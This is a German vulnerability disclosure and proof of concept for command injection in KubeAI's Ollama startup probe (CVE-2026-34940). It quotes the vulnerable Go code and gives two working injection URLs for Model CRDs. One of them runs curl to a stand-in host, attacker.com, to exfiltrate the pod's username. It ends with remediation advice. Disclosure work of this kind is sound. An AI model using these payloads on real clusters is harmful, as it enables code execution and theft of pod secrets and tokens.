
Proof-of-Concept für OS-Command-Injection in KubeAIs Ollama-Startup-Probe, das beliebige Codeausführung in Kubernetes-Modell-Pods über manipulierte Model-CRD-URLs demonstriert.
Schweregrad: Hoch (CVSS 8.7)
CWE: CWE-78 — Unsachgemäße Neutralisierung spezieller Elemente, die in einem OS-Befehl verwendet werden
Betroffen: github.com/kubeai-project/kubeai <= 0.23.1
Behoben in: 0.23.2
Sicherheitshinweis: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
Danksagung: Romain Deperne
KubeAI erstellt ein Kubernetes-Startup-Probe-Shell-Skript, indem es URL-Komponenten des Model-CRD (ref, modelParam) über fmt.Sprintf in Go in einen bash -c-Befehl interpoliert. Shell-Metazeichen in der URL werden nicht bereinigt, wodurch jeder Benutzer mit Model-CRD-Erstellungs-/Aktualisierungs-RBAC beliebige Befehle innerhalb von Modellserver-Pods ausführen kann — ohne Cluster-Admin-Rechte.
Ich habe mir Kubernetes-KI-Inferenz-Operatoren angesehen — Tools, mit denen sich LLMs als K8s-Workloads durch das Erstellen von CRDs bereitstellen lassen. KubeAI unterstützt Ollama, vLLM und andere Engines. Meine Hypothese war: Wenn ein Benutzer Model-CRDs erstellen kann, kann er dann beeinflussen, was in den Modell-Pods ausgeführt wird?
Der vLLM-Engine-Code zeigte sofort das richtige Muster: Argumente werden als String-Array an exec übergeben, keine Shell beteiligt. Also sah ich mir zum Vergleich die Ollama-Engine an — und fand fmt.Sprintf("%s %s", pullCmd, u.ref), das in bash -c eingespeist wird. Klassisches Shell-Injection-Setup.
Der URL-Parser-Regex [^?]+ (alles außer ?) ist das, was es besiegelt: Semikolons, Backticks, $() sind alle in u.ref gültig. Ich schrieb das PoC-YAML, wandte es an und beobachtete, wie id > /tmp/pwned innerhalb des Modell-Pods ausgeführt wurde.
Die Nuance, die dies aufwertet: In mandantenfähigen K8s-Clustern wird Model-CRD-RBAC oft Teams gewährt, die ausdrücklich keine Cluster-Admins sind. Dies gibt einem Mandanten mit eingeschränkten Rechten einen direkten Weg zur beliebigen Codeausführung in Modell-Pods — einschließlich Zugriff auf eingebundene Secrets und Service-Account-Tokens. Es überschreitet eine Privilegiengrenze, die K8s-RBAC eigentlich durchsetzen soll.
Datei: internal/modelcontroller/engine_ollama.go, Zeilen 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
Dieser String wird dann ausgeführt als:
Command: []string{"bash", "-c", startupProbeScript}
URL-Parser (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
Kontrast zur vLLM-Engine (sicher):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Die Ollama-Engine nimmt eine Abkürzung: Sie baut eine mehrstufige Shell-Pipeline als String zusammen und übergibt sie an bash -c. Die vLLM-Engine verwendet Argument-Arrays im exec-Stil. Kein Admission-Webhook und keine CRD-Schema-Validierung beschränkt das URL-Feld auf sichere Zeichen.
Siehe poc.yaml — anwenden mit kubectl apply -f poc.yaml auf einem Cluster, auf dem KubeAI mit Ollama-Modellen läuft.
Vektor 1 — ollama://-URL-Referenz (Semikolon-Injection):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Generierte Startup-Probe:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
Der Befehl id>/tmp/pwned wird ausgeführt und schreibt uid=0(root)... in /tmp/pwned innerhalb des Pods.
Vektor 2 — ?model=-Query-Parameter (OOB-Exfiltration):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Generierte Probe:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltriert den Benutzernamen des Pods an einen vom Angreifer kontrollierten Server.
Model-CRD-RBACErsetzen Sie bash -c <string> durch eine Probe im Exec-Stil, die Argumente als Array übergibt (wie es die vLLM-Engine bereits tut), oder validieren Sie die URL-Felder gegen ^[a-zA-Z0-9._:/-]+$ vor der Interpolation.